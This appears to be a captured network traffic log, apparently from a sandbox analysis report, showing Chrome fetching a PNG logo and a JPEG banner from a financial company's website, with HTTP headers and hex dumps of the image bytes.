2024-04-11 20:35:00 UTC	458	IN	Data Raw: 05 23 71 ea c3 d2 6e 39 72 c7 ba 57 90 c7 cb 6a 2b b8 40 77 0b 96 44 c2 44 ae a1 ae d5 cf a1 7c af 96 36 e6 2b 2f b4 6a 5d 3c 66 50 20 18 a5 8a d2 02 27 31 2b be d4 2c c9 9f 5e 8a 38 af f0 d7 f3 73 30 6b 6e 32 ef bf fa 29 1c 31 ac d4 71 31 4d 41 b7 30 9d f2 2f 69 d1 70 9c 1a 96 54 d3 8d 93 eb 53 f7 0e b7 77 d3 fd ee 8f e4 a9 2c a6 a1 40 c8 aa 42 2e 26 54 d9 62 1c 83 46 43 74 f6 fc 18 18 ab 26 e3 ec 73 ef 00 bd 7b fb 83 fc fd 41 ec 9d 27 97 e2 6e 25 fe b0 e3 27 61 cd 38 fa ca e0 c5 74 90 56 a1 a7 14 92 8e 74 28 2f c9 27 23 61 e6 22 18 54 65 f3 74 35 01 d1 cc b0 b7 92 1c 42 a6 10 b9 b6 af 6f 2c 78 9d fe 9f dd 56 65 37 8f 4d ea 71 65 42 b3 39 56 ce aa 32 b2 2f 4e 46 4f d7 14 12 b9 4f bf ca 8e 25 13 87 8f 12 41 a7 d9 71 c3 b4 fa 60 da 79 02 91 99 40 79 53 dc Data Ascii: #qn9rWj+@wDD\|6+/j]<fP '1+,^8s0kn2)1q1MA0/ipTSw,@B.&TbFCt&s{A'n%'a8tVt(/'#a"Tet5Bo,xVe7MqeB9V2/NFOO%Aq`y@yS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49820	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	393	OUT	GET /wp-content/uploads/2023/04/BFJ_Updated_Logo_3.png HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	713	IN	HTTP/1.1 200 OK Connection: close Content-Length: 17382 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/png x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "644a3549-43e6" last-modified: Thu, 27 Apr 2023 08:41:45 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-lga21933-LGA, cache-lga21965-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867700.094481,VS0,VE46 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 fd 00 00 00 96 08 06 00 00 01 62 01 be f3 00 00 43 ad 49 44 41 54 78 5e ed 9d 07 5c 55 47 fa f7 af ba 49 36 6d 37 5b de 6d c9 ee 7f b3 29 bb e9 31 3d d1 18 d3 35 89 bd 22 60 c1 de 45 04 15 3b 36 2c d8 51 51 b1 81 a2 62 41 51 c1 de 2b 4d 05 15 a4 17 a5 0b 08 58 c1 df fb 3c 33 e7 70 cf bd 5c 50 4c 44 c2 3d 5f 3e c3 29 f7 9c 39 33 f3 cc 33 e5 9c 99 79 0c 78 c4 3c 70 00 96 1d db af ec 01 0b 8f ec 15 ee 41 78 a0 00 18 9c 7b c0 30 bc 17 0c 43 3a 8b e3 fe eb 57 8a 63 e7 1d 1b c5 71 55 78 f0 00 0c ed 2a f6 b7 87 9f 14 db 6a 0f 80 0a 3f 98 b1 5b bd 08 c3 b6 fb 8b fd aa f0 60 01 18 6c 2f b6 b6 f4 d0 9f cb 03 67 42 e6 c3 99 e3 70 f3 e6 0d 94 de be 8d af 3c dd ab 4f 04 2a 22 23 6a dc 83 f0 b3 02 f0 4b 50 16 00 Data Ascii: PNGIHDRbCIDATx^\UGI6m7[m)1=5"`E;6,QQbAQ+MX<3p\PLD=_>)933yx<pAx{0C:WcqUxj?[`l/gBp<O"#jKP
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 71 3f cb 9d 89 bc a4 f8 f4 70 78 28 09 c0 d9 3a 36 49 66 f1 34 e5 9b 6e 4d e5 a1 e5 80 35 bb 65 0d c2 70 b5 fa af 96 fd c5 fe 1f a8 46 f1 0f 3e 84 7a ca 77 e8 3b 77 6e a3 ef c4 85 f8 b6 d7 28 14 5f bf 41 c7 f2 9b 43 8f 49 0b c5 6b bc c7 1b d9 e1 1f 4d 7a e0 f5 36 03 e0 30 7e 1e 5a 50 35 d6 7e a4 ec 2f a4 65 64 8b ed cf 41 2f 03 94 ad d5 62 d5 09 a0 47 be 3a 28 2a 2a b4 38 aa 2f e8 4c 68 d9 27 66 76 8b 8e ec 53 7e 79 f8 54 4b e4 af df bc 69 d2 bf bf 90 22 db f3 2a 86 c1 9a 97 a4 ec 86 c9 ce d0 c3 a6 5a 22 1f 96 14 6f 1a 39 72 47 2f 46 2a bf 4a 0c c3 7b 9a fc 5e 1d 3c 92 c8 33 76 ab 4c 07 38 c6 5c 4e 29 77 cd c3 a6 da 23 af 0e 25 63 0c 03 65 a3 47 45 bc 08 ad b5 91 57 46 14 ab f0 f1 f8 6d eb 95 23 20 84 7a 79 b5 36 f2 5a 5e 9f 3a 52 46 d4 a5 a7 72 46 52 3b Data Ascii: q?px(:6If4nM5epF>zw;wn(_ACIkMz60~ZP5~/edA/bG:(*8/Lh'fvS~yTKi"Z"o9rG/F*J{^<3vL8\N)w#%ceGEWFm# zy6Z^:RFrFR;
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 9b 55 97 e6 58 6a ab 57 15 5d e7 ad 15 3d f2 d6 8a 55 47 de da d1 85 6f c5 d4 3a e1 bb 6c 59 6b 3a 0b 98 dc d3 2e bd a8 e9 54 79 0f ff 4f 23 7a 9b dc 53 ce 0d ed 8a b6 8b e5 d7 88 da 42 ad 12 7e 48 62 9c c9 ec e7 72 ce b1 0b 76 2b 0b bb 58 22 29 e3 8a c9 d0 30 4b 6e 48 35 cd 94 ac 0e 6a 95 f0 c5 20 a8 4a 84 df 78 ee 64 2c da 1f 24 c6 02 66 5e ad 78 76 c8 13 9a a9 f1 e6 ae ba 66 8a 57 07 d6 21 7c b3 75 0f 98 67 5d fb e1 d5 49 ce ca 51 79 5e 9c ec 52 de 1f 72 ba f0 6b 28 96 84 df a5 92 35 5d 07 f8 af 2a bf 32 88 86 e7 c7 0f 35 f1 8b 9d 2e fc 1a 8a 89 f0 9d bb 63 ff 79 e3 a0 40 73 0c 83 ed 8c 42 1d 64 3a 24 5c 8b 79 1b 40 17 7e 0d a5 4c f8 e4 0e 5c 38 a7 9c 35 25 24 ee 52 d9 4a 2f 5a f7 dc f0 de ca 15 92 bc fc 3c ac 09 39 86 06 b3 27 88 8c 64 18 d2 05 ff 71 Data Ascii: UXjW]=UGo:lYk:.TyO#zSB~Hbrv+X")0KnH5j Jxd,$f^xvfW!\|ug]IQy^Rrk(5]*25.cy@sBd:$\y@~L\85%$RJ/Z<9'dq
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 32 b9 2e 46 82 72 dc 52 19 fd ba 70 ff 4e 94 94 94 e0 98 66 55 c5 1d d1 51 e0 a5 23 5e 99 30 54 1c cf de 66 34 e3 bc 3d f4 84 d8 f2 44 67 5e a4 fc 42 4a 22 5a d0 73 99 4d c7 65 9d d6 6d d5 42 b1 8d a2 df b4 a8 8b 97 ab 9c 49 4f c3 1d 65 c6 36 cf 22 b7 55 fc 61 a6 05 07 20 21 33 1d bb 35 63 01 78 71 73 ed 24 e9 1b 54 cf fb 29 1f 77 d2 f3 72 85 91 c5 43 4a 3c 7a ae 91 0d df 3f 8f ea 2f 66 85 4f df 22 27 5e b5 f5 94 eb 80 44 26 cb aa c7 4e 99 bc dd 4d 59 60 dd 75 8d 3c 16 94 dc c5 a1 24 59 3d f0 04 6b e6 44 4a 02 7a ad 5e 2c f6 dd 0f 05 8b ed e4 6d b2 91 1b ff 80 26 2e 99 9f 25 fc 0e 24 4c 9e 1e ef 79 68 b7 30 85 bb f6 f4 51 1c 8e 8b c6 4c 65 f5 f6 85 fb 76 e2 04 45 64 9e b2 c2 fc cc 40 7f 44 5e 49 45 4f 65 56 3b 4f a3 5f 79 e2 10 96 1d 3f 20 a6 dc f3 ac f6 Data Ascii: 2.FrRpNfUQ#^0Tf4=Dg^BJ"ZsMemBIOe6"Ua !35cxqs$T)wrCJ<z?/fO"'^D&NMY`u<$Y=kDJz^,m&.%$Lyh0QLevEd@D^IEOeV;O_y?
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 7c 61 09 97 30 95 ea 7f b1 92 26 d7 f5 d4 05 74 50 66 f1 d6 06 6a a5 e0 37 86 18 87 48 6b d9 ce 2f 67 84 20 79 a9 54 d2 7a 36 a0 44 7d 7c 71 4c 5a 2f de da f5 6e 0b 43 df f6 e2 37 5e 1a dd 79 eb ba 32 63 db b5 89 da 27 78 12 58 45 d4 21 21 db 2b 73 d3 55 f8 b3 2d 2f 91 ce 2e 2d 2b 03 37 35 16 d2 6b 33 b5 4e f0 df 2a 73 d6 cd e1 05 0f 58 a3 75 24 b5 4a f0 75 b8 51 97 68 79 5a d3 9f c7 0e 42 93 45 72 75 2a 9d 5a 26 78 ae af 2d 71 97 d7 be 1b 68 8b 94 9c da b7 c8 f1 83 52 ab 04 ff 8f 71 72 ae 9c 39 2b 0e ed c1 6f 2a e9 b2 dd 0f b9 05 f9 e8 af 2c b1 52 1b a8 55 82 ef eb 5f 7e 3d 39 e6 ed e9 a3 45 6b ff 19 72 3f 2e 9d 8d 15 07 77 21 22 29 1e 59 85 05 28 a1 ae 9b ca 9d 5b b7 50 78 fd 3a 2e 51 43 6f 5b e8 09 d8 fa 7a e1 15 1e 9c 31 98 5a ff dc f2 d7 fb f1 35 93 Data Ascii: \|a0&tPfj7Hk/g yTz6D}\|qLZ/nC7^y2c'xXE!!+sU-/.-+75k3NsXu$JuQhyZBEruZ&x-qhRqr9+o*,RU_~=9Ekr?.w!")Y([Px:.QCo[z1Z5
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 31 d7 a1 cc bd 04 ff df 8e e5 05 df d6 71 32 0c af 7c 2f f6 45 51 cf 99 f3 7f 3f 0a 81 b3 79 d6 4e 4a f5 64 78 b7 25 5a 50 11 af 45 58 c0 24 c1 cf 59 b5 59 64 0a 4b 82 ef 39 61 7e 59 51 af a6 83 28 3d a9 da 48 a1 92 c2 9c fb 2a ea 4f b1 cd 55 12 56 44 d4 a5 0a 8b fa 43 24 70 c6 77 c7 01 f1 f0 f4 2b d2 5a 95 ca 19 a5 a8 8f bd 57 51 4f 82 57 8d 08 be 44 1a 6f a0 b6 06 67 34 16 fc 8d 9b 54 fc 72 64 28 b1 84 05 49 b6 24 49 19 e9 b7 4a 1d ac 46 98 09 3a 78 52 08 92 ef 2d 2b ea 49 78 1c 2f 6d bb a0 59 7f b9 44 8a 56 f0 8b d7 ef 14 61 e2 04 15 cf 79 ab b9 10 54 2f 4a 5c 86 05 ff 79 37 a3 71 41 73 d6 53 63 8c 33 ed 98 f9 ab 95 33 40 8f 31 54 82 28 02 13 1a 4f 71 c8 cc c8 14 61 e7 0c c9 55 1a f3 ff be a3 ba 99 d2 40 5b 35 bc 6f e7 2c d2 94 ed e6 ba 79 f9 09 a5 51 Data Ascii: 1q2\|/EQ?yNJdx%ZPEX$YYdK9a~YQ(=H*OUVDC$pw+ZWQOWDog4Trd(I$IJF:xR-+Ix/mYDVayT/J\y7qAsSc33@1T(OqaU@[5o,yQ
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 69 3a 3e 43 c5 1c 6b 83 8b ff 2a 1c 49 b8 84 0d ca c2 05 2d 3c a7 e1 22 69 77 6b 65 6a 33 4f 6f 62 3e 9b 2e ed ba 31 13 fd 8d 6f bf 78 98 33 c3 4b 95 31 7f 71 ee 29 b6 21 e4 bf 7f f8 49 04 9c 0b c5 55 4d 31 6d 49 f0 4d 16 ce 10 db 89 81 fe 62 6e 3c bb 65 87 76 e3 52 c6 65 51 0d b9 6d f7 47 f1 2d e3 1c 79 73 c1 2f a0 cc 72 3a 29 0e 33 77 c8 d5 b2 a6 d0 f5 11 97 53 d0 65 a9 34 72 b8 e5 8c 1c 91 cb 2b 64 06 92 60 af dd b8 4e 99 21 1c fe 14 e7 74 2a b2 d3 ae e6 8a fd a5 87 f6 20 97 32 0b 0b ce fb c8 3e 9c 52 56 e4 68 a6 b1 81 ff f6 1c 69 5f af df 46 99 06 86 de ed c4 76 37 a5 fd 1e aa 82 d6 9d 3e 42 25 81 71 0a 58 55 f8 e5 1b 77 e6 39 b0 d4 6c bd 31 b3 df 6f 69 12 f9 5e 5c cc aa 9a 61 7d 8f c3 d2 c0 60 55 d1 6a d1 d3 63 07 2a 7b 1a cc e2 70 57 f3 0a f8 97 24 Data Ascii: i:>CkI-<"iwkej3Oob>.1ox3K1q)!IUM1mIMbn<evReQmG-ys/r:)3wSe4r+d`N!t 2>RVhi_Fv7>B%qXUw9l1oi^\a}`Ujc*{pW$
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 55 6e dd bc 81 b6 5e 1e b2 06 b7 e4 ff fd 38 56 fc c1 9d e1 79 c0 68 46 41 a7 66 a0 2b 7d 0d 25 2c 29 9e 94 be f7 cf ab 71 1d bb e2 af ae fd b0 5b b3 12 65 55 e0 96 c6 13 dc ca 78 d0 30 0c b0 81 f3 0e e3 e2 82 3a 35 03 5d e9 6b 28 3f 5b e9 9d ba e1 93 e9 a3 f0 e7 31 03 45 53 fb b5 89 ce 88 4a 36 5d d4 f1 7e b8 9a 9f 87 77 dc 5d a9 00 e9 62 f9 39 95 39 5d e9 6b 24 ba d2 d7 50 1e 58 e9 87 74 c6 6b 53 46 20 2e c3 38 57 73 78 80 9f 7c d1 46 7d fe e6 4b 66 09 23 17 55 e2 ee 5d 38 ac 5e 54 f5 e6 be ae f4 35 12 5d e9 6b 28 55 56 7a e7 ee d4 14 ef 8e 6d 61 27 14 1f 4c c9 bf 56 80 af e6 4e 12 8a ff 94 73 4f ec 38 2b 57 e4 ad 0a 13 b6 fb cb c2 c3 d2 f3 2d 39 5d e9 6b 24 ba d2 d7 50 aa a4 f4 54 03 b7 59 32 5b ac f6 70 2f 16 1f dc 25 bf 08 90 f2 77 a5 da db 7c 19 91 Data Ascii: Un^8VyhFAf+}%,)q[eUx0:5]k(?[1ESJ6]~w]b99]k$PXtkSF .8Wsx\|F}Kf#U]8^T5]k(UVzma'LVNsO8+W-9]k$PTY2[p/%w\|
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: bb 77 ee 20 2d 23 1b a1 51 97 70 36 26 01 69 99 39 74 b2 92 34 32 8b bb 65 ca 5f 23 fe 57 18 e6 aa ad 91 a8 a5 4a 4a 3f 7b d5 66 18 fe f7 23 0c ef b6 92 ee cd e6 46 f7 4e 4b b1 fd 7d 23 3b 2c dd 64 1c 33 9e 95 99 8d 97 9a f5 86 e1 b5 66 30 d4 6f 0d c3 db 74 dd 5b 74 fd 5b 2d 8c ee e5 26 78 e1 a7 de c8 c9 ce 15 f7 38 4d 5b 4c e7 be 27 ff f8 77 ba 96 ef e1 7b df 68 8e bf 7e db 0d 89 49 69 e2 ba 8a 08 bb 70 09 86 0f da d1 7d 74 bf 78 a6 e2 8f f6 99 2f 7d 8f bf 35 ef 27 ae df 73 3a 8a c2 4f e7 3e e9 40 e1 fc 11 33 d6 6e 17 e7 6f dd b8 81 cf ba 38 cb 38 53 dc 9e fd dc 16 47 4f 5b 98 f5 56 52 82 26 03 dc 60 78 a5 09 0c ff fe 06 3d a7 2d 53 7e 30 25 2b e7 2a 5e 6a d9 5f 3c c3 f0 0e a5 1f 3d 73 53 f0 21 e5 57 53 4e 47 46 c3 f0 7e 5b 19 f6 d7 7f c2 fb 9d 9c c4 fd Data Ascii: w -#Qp6&i9t42e_#WJJ?{f#FNK}#;,d3f0ot[t[-&x8M[L'w{h~Iip}tx/}5's:O>@3no88SGO[VR&`x=-S~0%+*^j_<=sS!WSNGF~[
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 2d 53 7a ca 10 a2 c6 a2 6b 44 33 53 eb a8 49 f3 d5 c0 c9 ca 1d e5 79 60 a5 a7 30 8a 67 8a 66 9f e6 79 9c 88 d4 64 9e e6 2d 97 67 de 7d fa 1e 4a cf d7 53 b8 fd 77 ec c3 d1 d0 48 25 c3 93 60 a9 c6 68 3b 6c 1a 6e 5d bf 0e 9b 91 a4 64 15 28 fd c8 d9 cb 65 66 a2 70 7c 40 35 6a 09 d5 0e cc d8 45 7e a8 a3 34 15 df a1 e6 6a 5e be b1 c9 5b a6 f4 ac cc 5f 53 97 26 25 0d 53 96 ae 93 fe 28 25 bb f7 86 9d 48 a5 fe 64 1d ae 65 f9 3a 52 fa 33 74 df 8d c2 a2 b2 34 37 bc d9 0c ae 5e e5 95 b0 32 2a 53 fa 8b b1 09 f8 f3 d7 5d e8 79 1d 50 ef a3 76 58 1f 74 50 9c 4f 20 99 3c f7 ad 83 cc f0 14 cf b5 db 65 4b 4f e5 e7 2a 7d 1e b5 5c 5e 6c 43 dd 14 56 40 92 a1 27 b5 18 2b 62 21 55 40 1d 46 ce 22 37 1b fe 41 32 2f e6 e4 18 95 be 0e c5 eb 1d 7b 17 b4 74 99 8e 1f 86 4e c5 8f 8e 53 Data Ascii: -SzkD3SIy`0gfyd-g}JSwH%`h;ln]d(efp\|@5jE~4j^[_S&%S(%Hde:R3t47^2S]yPvXtPO <eKO}\^lCV@'+b!U@F"7A2/{tNS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49817	151.101.2.159	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:34:59 UTC	381	OUT	GET /wp-content/uploads/2017/05/banner.jpg HTTP/1.1 Host: www.bfjfinancial.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:00 UTC	716	IN	HTTP/1.1 200 OK Connection: close Content-Length: 190746 referrer-policy: no-referrer-when-downgrade x-fw-server: Flywheel/5.1.0 content-type: image/jpeg x-fw-hash: thumialfjs x-fw-version: 5.0.0 x-content-type-options: nosniff etag: "59a7a3b1-2e91a" last-modified: Thu, 31 Aug 2017 05:50:41 GMT cache-control: public, max-age=31536000 x-xss-protection: 1 Server: Flywheel/5.1.0 X-Cacheable: YES Fastly-Restarts: 1 Accept-Ranges: bytes Date: Thu, 11 Apr 2024 20:35:00 GMT X-Served-By: cache-lga21945-LGA, cache-lga21956-LGA X-Cache: MISS, MISS X-Cache-Hits: 0, 0 X-Timer: S1712867700.106165,VS0,VE52 Vary: Accept-Encoding, Authorization X-FW-Serve: TRUE X-FW-Static: YES X-FW-Type: VISIT
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 05 03 04 04 04 03 05 04 04 04 05 05 05 06 07 0c 08 07 07 07 07 0f 0b 0b 09 0c 11 0f 12 12 11 0f 11 11 13 16 1c 17 13 14 1a 15 11 11 18 21 18 1a 1d 1d 1f 1f 1f 13 17 22 24 22 1e 24 1c 1e 1f 1e ff db 00 43 01 05 05 05 07 06 07 0e 08 08 0e 1e 14 11 14 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e 1e ff c2 00 11 08 03 3a 06 40 03 01 22 00 02 11 01 03 11 01 ff c4 00 1b 00 00 02 03 01 01 01 00 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 ff c4 00 1a 01 01 01 01 01 01 01 01 00 00 00 00 00 00 00 00 00 00 01 02 03 04 05 06 ff da 00 0c 03 01 00 02 10 03 10 00 00 01 f9 d1 61 db 35 96 11 Data Ascii: JFIFC!"$"$C:@"a5
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 00 01 00 14 01 00 02 60 21 a0 1a 00 00 00 00 00 10 d0 0c 10 d0 00 00 00 10 01 40 10 00 09 94 86 08 00 00 00 00 00 08 00 00 04 30 43 04 0c 40 c4 00 00 75 06 76 c2 00 00 10 c1 0c 10 c1 29 21 0c 10 c1 0c 22 30 43 04 32 10 d0 0d 02 60 86 02 60 86 94 00 13 04 30 43 04 a4 11 19 08 60 86 08 00 00 43 04 30 43 04 32 10 c1 29 14 93 21 0c 10 c5 41 22 03 04 30 43 04 00 86 08 60 86 80 1c 24 c1 0d 50 01 38 96 63 51 e8 e1 d5 cb ae 8e 4f 4b 9b 29 19 2e fc 14 64 a9 e8 ce 66 91 d7 90 43 35 94 34 a0 00 00 00 09 88 86 e5 44 a3 cf a2 24 24 55 81 5b 6e c8 13 08 0d 6f 20 00 00 00 00 00 00 00 86 08 18 80 00 00 01 0c 10 d0 00 00 00 10 00 00 08 65 21 90 86 52 1a 80 00 00 00 00 00 00 00 04 c0 03 aa 33 b6 10 00 00 26 08 60 86 09 30 43 21 0c a4 30 89 25 08 60 86 11 6c 22 30 43 04 30 Data Ascii: `!@0C@uv)!"0C2``0C`C0C2)!A"0C`$P8cQOK).dfC54D$$U[no e!R3&`0C!0%`l"0C0
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 75 35 da e2 5f 9f 36 ef 45 e6 bb 31 7f 2b 5f 35 71 30 eb 99 c2 fa 3a 73 43 3a 73 43 04 00 00 00 08 60 86 08 18 80 04 c1 0c 10 d0 00 00 02 60 26 08 60 81 88 05 43 11 0c 10 c5 43 04 00 00 00 00 00 00 26 22 18 7a 12 46 b3 15 21 50 c9 22 48 a8 92 16 23 12 24 82 23 04 30 43 08 8c 10 c1 29 04 49 04 49 21 0c 22 48 22 a4 11 24 2c 49 22 24 82 23 04 a4 11 24 11 52 08 92 08 8c 22 49 08 60 86 11 24 84 30 aa 4b 1f 9f be b9 64 9f 3e 97 64 b6 a3 65 d8 21 9d 5b 11 6b 33 74 4c d3 6d 76 7a 3c f3 a2 ea b3 a8 8c eb c9 00 00 08 6c 89 20 51 9a 58 96 59 19 8d f9 25 82 92 b2 2c 64 65 19 cb 1b 6a b5 7b 7e 7b d1 79 ef 37 a9 35 ab b7 0c 73 8c ba 73 ad b1 21 24 52 db 92 dc 6e 85 a7 3d 88 66 b2 93 04 c2 36 e2 1f 9f b5 9d 9e 0b cd a3 a9 ca 76 e8 31 17 32 71 96 a3 ba b8 66 fa af 31 5d Data Ascii: u5_6E1+_5q0:sC:sC``&`CC&"zF!P"H#$#0C)II!"H"$,I"$#$R"I`$0Kd>de![k3tLmvz<l QXY%,dej{~{y75ss!$Rn=f6v12qf1]
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 0e 0d 77 2f 27 a9 4b 7f 47 cb ec e1 63 f6 58 64 f3 77 df 83 d1 e7 9e 3d 19 fa 60 5a 73 76 e2 01 d3 98 00 98 13 8c a5 e6 f4 45 eb b3 3a e7 e5 dd 83 a6 2d b6 16 cd 7b 2f 19 ec bc 77 9b ad 32 8c fd 3c 60 5d 49 29 11 95 24 f5 10 1d fc e0 00 00 26 08 60 86 08 00 00 00 3d 80 ce 5b 43 04 30 89 20 89 20 88 d9 02 42 44 90 45 1e 6e 6b d0 3f 2f 55 7a 7b 7c 8d b6 77 b7 f9 dc 79 e9 eb 4a 34 eb 94 49 21 29 15 12 49 10 c2 24 90 94 82 24 90 86 11 24 84 32 a2 49 09 48 22 30 4a 41 11 84 49 04 54 84 88 c5 88 c4 c9 8f 6e 2e 5d e4 a4 63 6a 9b e8 2c 8c 94 b1 69 6b 33 2a b2 5e 8b 67 a3 cd a6 8d 39 79 76 81 25 db 82 8c ef c6 f1 af 5b cd f3 f7 cb 0f 57 54 9e 52 cb ab ce ae 95 7b 23 89 4f a5 a1 78 b4 f6 73 1c fb cd 3b 94 7d 23 e7 5f 41 e3 ca 1f 2f fa 87 cb f1 db d1 68 f2 32 f4 3d Data Ascii: w/'KGcXdw=`ZsvE:-{/w2<`]I)$&`=[C0 BDEnk?/Uz{\|wyJ4I!)I$$$2IH"0JAITn.]cj,ik3*^g9yv%[WTR{#Oxs;}#_A/h2=
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 13 d2 a9 53 3d c8 a8 3d 20 e7 1b 9f 5b c9 eb 61 f3 f7 c7 87 a3 cf f4 79 21 56 cc d6 64 37 e5 d6 65 63 d3 9d e0 86 ab 93 99 a0 be b3 ef 85 7c fa 74 f0 f4 f0 e3 a5 70 be 9d 62 16 d3 66 b3 62 8b 4c 62 b2 dc a5 c6 b3 57 a2 e5 e7 c6 ea 8d d2 de 29 b9 39 ab 27 5c b1 d0 d3 83 6c 61 76 c3 79 8c d4 ca ad ae d3 a1 55 06 16 cb 9d 7e b3 be aa 32 e6 ef 58 ee 4d 0a 5c 96 7b fd df 17 d8 e3 9d 1c fb 79 1d 1a a9 55 f6 27 5b dc bd 42 c5 85 17 42 57 a7 2e ec 6f d7 79 7d da 3c fb e3 66 f5 9c 5e d9 e7 65 ef 72 b7 31 b4 f5 1e 9c d7 4b e8 67 ab 9d c6 4b b5 e7 a8 af 5b c0 e7 75 26 ba b8 f9 38 2d f4 7a f8 9a f8 da fa 3d af 2f 5a a1 d8 b7 37 cf d7 d8 be 6b cf cf b7 49 e1 2c b7 27 b3 89 ee 3c 3f b9 e5 d5 81 e7 ea 00 00 01 9e 8d 67 73 e5 f1 b5 9f 57 2f 21 a7 53 bb c4 d7 44 b9 1f 4e Data Ascii: S== [ay!Vd7ec\|tpbfbLbW)9'\lavyU~2XM\{yU'[BBW.oy}<f^er1KgK[u&8-z=/Z7kI,'<?gsW/!SDN
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: af 7f 73 53 ca e9 eb 46 5e 5c fd 2f 14 e7 c3 d0 72 28 cb db b2 3c 4c af b7 bf 3c b0 f4 9a 13 cb df e9 8c 6b cb 47 da 64 af 39 57 a6 dd 2f 8f 7d 0c fc fa 66 cd d8 d1 79 f2 a3 d8 c6 71 af d2 fa 66 8a fd 2d 53 7e 7b 74 a5 2e 52 89 6a 6a c3 aa 99 20 ad b7 73 2c e7 0c 9c 34 d9 9d e2 9c a1 be 73 47 42 6a 3c ff 00 41 c8 c6 a1 18 cf a7 37 2a e5 9b af d1 79 8d 5e 7e bb 70 4b 9d 6e ba a8 bf 73 5e fe 46 ce 5d 3b b9 79 1a 32 df c8 a7 46 e4 0d 19 a1 74 70 5c 74 38 36 d3 ac aa e7 5f 5c 4e ab 73 d9 a3 d1 f9 69 4b da c9 8b 46 36 51 75 36 74 33 6d c5 8d dd 38 b4 74 2b 94 d7 a3 23 16 e6 eb 73 26 d6 4d 39 35 ce ce a7 09 ea 76 32 e6 51 a2 94 88 42 66 a4 a1 af 24 a8 ea 63 97 1d fd 1b 73 ae 4e da ad ab ab ee f2 75 cf 95 a8 a1 4d 58 dc be e7 9d bf 93 e7 bc 8e 6f 4b 9f e9 cd 4b Data Ascii: sSF^\/r(<L<kGd9W/}fyqf-S~{t.Rjj s,4sGBj<A7*y^~pKns^F];y2Ftp\t86_\NsiKF6Qu6t3m8t+#s&M95v2QBf$csNuMXoKK
2024-04-11 20:35:00 UTC	1378	IN	Data Raw: 47 4b 97 b2 78 b4 d9 56 8c ea b8 47 65 67 8c 75 26 8c 1d 8e 3e 75 4b b3 4e b3 c7 5a f1 f6 e3 d2 f6 3e 2f 52 fa 3e b7 84 38 de fe 0e 6c 17 d0 f9 fa d6 b5 0a ee 35 8d 5a b9 4b 1a ec f3 f3 c3 52 da 65 0d 49 b7 3c e9 57 a0 2c bf 94 eb dc 79 9e 5e 9c d8 f7 b8 b0 5f 49 8f cf 29 9f 55 9b ce 16 74 61 9e c3 d5 6b f0 db 71 7d 8b f2 35 cb bf 9f 54 2d ee 5b e6 ed d6 7d 26 8f 2d 64 6a c2 4e d9 59 5e a8 ee d9 cb 84 ce 1b 0a ed f4 bd 0f 21 b2 4f 53 6f 95 b7 59 d9 cb aa ae 1d ba 17 73 34 f5 c7 7e 88 dd ac f2 b3 d5 cd e3 db d3 f2 2d ae da f1 7b 2e 4e 5c 0c bd 5e 77 7e 5e 93 27 16 d6 5f 67 cb 2d 4f 49 57 0e 53 5d 5d fe 7a 32 f7 3b 1e 4a de 7b d9 b7 81 9b 79 f4 5c be 7c 6d eb e4 c0 27 a6 e7 f3 75 63 7e 9b 57 8c 71 ee 3c 54 2a b9 f4 7a 70 ec e5 de 1a 34 f2 77 ca 7e 72 fc 3a Data Ascii: GKxVGegu&>uKNZ>/R>8l5ZKReI<W,y^_I)Utakq}5T-[}&-djNY^!OSoYs4~-{.N\^w~^'_g-OIWS]]z2;J{y\\|m'uc~Wq<T*zp4w~r:
